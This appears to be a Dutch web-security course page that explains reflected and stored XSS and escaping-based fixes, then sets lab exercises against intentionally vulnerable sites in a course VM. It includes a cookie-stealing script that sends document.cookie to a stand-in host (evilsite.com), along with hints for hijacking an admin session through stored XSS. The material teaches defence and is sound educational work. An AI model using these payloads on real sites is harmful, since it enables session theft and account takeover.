<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption> |
||||
</figure> |
||||
|
||||
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als |
||||
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra |
||||
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script> |
||||
tag kan toevoegen is er sprake van een XSS aanval.</p> |
||||
|
||||
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login |
||||
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch |
||||
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p> |
||||
|
||||
<h3>Reflected</h3> |
||||
|
||||
<figure> |
||||
<img class="screenshot" src="/static/img/zoekterm.png"> |
||||
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption> |
||||
</figure> |
||||
|
||||
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets |
||||
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als |
||||
op de webpagina zelf.</p> |
||||
|
||||
|
||||
|
||||
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren |
||||
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken. |
||||
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet. |
||||
The perfect crime!</p> |
||||
|
||||
<h3>Stored</h3> |
||||
|
||||
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een |
||||
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's). |
||||
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n |
||||
90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan |
||||
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p> |
||||
|
||||
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te |
||||
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p> |
||||
|
||||
<h3>Aanvallen</h3> |
||||
|
||||
<h4>HTML toevoegen</h4> |
||||
|
||||
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan |
||||
een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de |
||||
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p> |
||||
|
||||
<h4>Javascript toevoegen</h4> |
||||
|
||||
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te |
||||
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker |
||||
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p> |
||||
|
||||
<p> |
||||
<code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code> |
||||
</p> |
||||
|
||||
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site |
||||
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan |
||||
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p> |
||||
|
||||
<h3>Countermeasures</h3> |
||||
|
||||
<p>De belangrijkste regel bij websecurity is: |
||||
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare |
||||
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die |
||||
je weer weergeeft op de pagina te |
||||
<b>escapen</b>.</p> |
||||
|
||||
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. |
||||
<code>"</code> wordt dan bijvoorbeeld |
||||
<code>&quot;</code> en |
||||
<code><</code> wordt |
||||
<code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p> |
||||
|
||||
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p> |
||||
|
||||
|
||||
<code><script><b>gebruikersinvoer hier</b></script></p></code> |
||||
|
||||
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het |
||||
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een |
||||
bepaalde waarde te zetten.</p> |
||||
|
||||
<h1>Opdrachten</h1> |
||||
|
||||
<h2>Bank</h2> |
||||
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze |
||||
nog steeds niet veilig van hun beveiligingsproblemen.</p> |
||||
|
||||
<p>Ga naar de |
||||
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a> |
||||
</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere |
||||
server gestuurd.</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span> |
||||
</div> |
||||
|
||||
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje |
||||
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Zoek eens naar |
||||
<code>window.history.pushState</code>.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina |
||||
komt te staan.</span> |
||||
</div> |
||||
|
||||
<h2>Webshop</h2> |
||||
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde |
||||
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site |
||||
<span class="website">"Webshop (replace)"</span>.</p> |
||||
|
||||
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p> |
||||
|
||||
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt |
||||
gebruiken moet je de url encoded versie gebruiken: %2B</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span> |
||||
</div> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Op |
||||
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a> |
||||
</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het |
||||
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. |
||||
Let goed op de quotejes.</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. |
||||
PHP aanpassen (lees documentatie op |
||||
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span> |
||||
</div> |
||||
|
||||
|
||||
<h2>Nieuws</h2> |
||||
|
||||
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de |
||||
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p> |
||||
|
||||
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators |
||||
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen. |
||||
</p> |
||||
|
||||
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen |
||||
server sturen om de opdracht te kunnen maken. Je kunt hiervoor |
||||
<a href="https://requestb.in">Requestbin</a> gebruiken</p> |
||||
|
||||
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan |
||||
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p> |
||||
|
||||
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie |
||||
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p> |
||||
|
||||
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p> |
||||
|
||||
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p> |
||||
|
||||
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p> |
||||
|
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span> |
||||
</div> |
||||
|
||||
<h2>Wereldwijs</h2> |
||||
|
||||
<p>Ga naar de |
||||
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen. |
||||
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek |
||||
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p> |
||||
|
||||
<p>Let op: In Firefox werkt deze hack niet</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>'). |
||||
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span> |
||||
</div> |
Loading…
Reference in new issue